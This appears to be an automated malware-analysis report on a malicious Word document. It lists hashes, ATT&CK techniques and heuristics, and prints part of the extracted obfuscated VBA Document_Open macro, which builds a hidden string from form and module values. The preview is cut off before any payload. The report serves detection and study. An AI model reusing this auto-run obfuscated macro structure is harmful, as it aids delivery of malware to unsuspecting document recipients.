Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19f2c7093452e7e5…

MALICIOUS

Office (OLE)

202.7 KB Created: 2019-12-20 07:10:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 72c6eb8e0e22603c036323b50045d758 SHA-1: adc8fbd2694e19bc2e3b035c24ee728c998afbfc SHA-256: 19f2c7093452e7e5230593bed7cbcf8ce570ee2eadd6fa0513349c4f2dd4a175
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro's code is heavily obfuscated and truncated, but the presence of GetObject and p-code execution suggests it attempts to download and run a secondary payload. The document is likely delivered as a spearphishing attachment.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13029 bytes
SHA-256: 01c215d24daeefe990969e8c05c3b03bd61a086b369c7269601a3135fcc078a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vxhmmvbaq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Uvyizjypph, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Dim Qfxrbphtdohcu As String
Dim Vzhnsdtsv As String
Zpjrgufusy = Yhvepkxf
Siyfeutxm = (Pqrjlimx)
Kewjgxyeiymou = 61
Dim Tapkaulo As Boolean
Rdvdbkhyfh = "Accusamus ab eum sed."
Dim Wyxvtecn As Double
Dim Uisixmyeyquz As Double
Dim Dahoeqopyreq As String
Bgloiviml = (194)
Dim Vzajnhwjes As Double
Dim Oilgfkbegytdr As Integer
Rtkqpocjq = Ljhhjnijx
Dim Odckofwgxrice As String
Dim Bdilzuszyrwz As Boolean
Dim Uhgzuehne As String
Nkqocgcqplfbl = (Wddsrfga)
Cdkmmoyipl = ("Laboriosam quaerat.")
Kwltjztp = (Sridjmirgjnf)
Dim Sedxgtwv As Double
Thhywhgnchks = Emaxfaoewh
Wzydftpqq
   Dim Gkumihrvjg As Double
Dim Dkcczrfto As String
Uuhlarewpp = Usrfkdszyx
Glawtnzykaar = (Refjutuzhjhlv)
Wlxtpfpqhdcqk = 106
Dim Szdomntodiwg As String
Ohrjcopcymq = "Animi et et aliquam."
Dim Xgrckznrhhg As Integer
Dim Cxultylasv As Boolean
Dim Imepbrykz As Boolean
Lfmhpzhzk = (350)
Dim Lrimtrqnelgv As Boolean
Dim Jbfqitihpi As String
Rvalvabob = Oygtlqwfj
Dim Gxbjclkecahm As Integer
Dim Mspgunlwvqrb As Double
Dim Qscvwwodklype As Integer
Ghmgyyygzp = (Kcksalnnjx)
Dgjieieiolo = ("Sint dolore est architecto et molestiae.")
Vcysldgzn = (Ztxerjbi)
Dim Crppcqlotznbm As Double
Pvxteqqcii = Zrfkgmjski
End Sub

Attribute VB_Name = "Qzuqpezagbmaa"
Attribute VB_Base = "0{0982BE0D-4F0C-4E72-8F27-23E0D733C353}{1F187481-6304-4745-AF4B-2656848B55EB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Miqfbsgds"
Function Vfbbzngres()
   Dim Pxrhifzlzvlc As String
Dim Xpfftqarxt As String
Ngxvkylofaace = Qoeroetmumk
Syaxymssod = (Rkhwocatzkc)
Usuucjzo = 743
Dim Gadeshybksext As String
Gkkpkhvhveu = "Tempora cumque modi quia."
Dim Mumzpoawlyima As String
Dim Axwyiewzpyro As Integer
Dim Hayjapqgfiek As Double
Lbdjzegyhvpu = (910)
Dim Xaxaqeexkcas As String
Dim Souylbnnviog As String
Sctfzuifl = Oqnraigcmgtb
Dim Nijeoljsvf As Boolean
Dim Vtglncqdwl As Boolean
Dim Uaiezcybcxmmz As String
Slwuijrnnwatq = (Mcinjodfstg)
Xhummgxsz = ("Magnam consectetur labore.")
Mdmuhziiqnk = (Lqipgebc)
Dim Pgbngknwmm As Double
Gbixtlyp = Xqawximvooh
Ytgqobwapext = Vxhmmvbaq.Uvyizjypph
   Dim Ywdggzsakinwk As Integer
Dim Mthdwzpnoli As String
Pmiyobtov = Yqqmuzvs
Rwfdjwiiov = (Jlyaohixb)
Gegjdsoqpbvy = 796
Dim Vffkghfd As Double
Fnuknkrla = "Corey"
Dim Zcnfpzeihomix As Double
Dim Dnvjmdpa As Double
Dim Xdcfjjxldwc As Boolean
Qhauirsex = (542)
Dim Geqqrvjciq As Double
Dim Ccxeoxuxzliec As Integer
Gilkamqyet = Hmzjoylyskmd
Dim Tlvwlogm As Double
Dim Xfrjldslidml As String
Dim Tfrnqvwi As Boolean
Tfdiisnvifmih = (Orbveqiltc)
Svhxocuqgzkcp = ("Quidem accusamus.")
Cuqlypacevmz = (Ukgcuvzbhx)
Dim Lfohyfozfqc As String
Istdcbdnf = Davusbmteld
Cghzatntygqc = Ytgqobwapext + Qzuqpezagbmaa.Dzglcoabtn + Qzuqpezagbmaa.Vxqripsemcmx + Qzuqpezagbmaa.Sgydedibfwog
   Dim Lugkrqtb As String
Dim Avlkjhwqphxb As String
Ijkdbmlmixqrq = Bevofaemsrzjk
Cjoibifqzqjo = (Urqfsncbmzx)
Slccbkqugdiop = 722
Dim Wywmrxxajdr As Double
Bxplylmfwni = "Ratione porro optio dolorem saepe repellendus repudiandae cumque autem."
Dim Uooiqdqoeodkl As Double
Dim Ksyjvbtjnxqd As Double
Dim Zkojvdima As Integer
Yawimammrve = (885)
Dim Hvbfalzaggedo As Double
Dim Vmyslvxawab As Double
Rtmvwpbab = Pnnsurexzw
Dim Wldckuef As Double
Dim Vintihzapuj As Integer
Dim Xifgevex As Double
Oqktnrgx = (Asefaixyzg)
Kifufozjurnh = ("Doloribus consequuntur ducimus esse quia ea qui a.")
Ynlijwmz = (Dzfwygybe)
Dim Bntlrxosi As Double
Hxjjmqxzikgaq = Dkotlcdxxa
Domfzqsqs = Cghzatntygqc + Qzuqpez
... (truncated)

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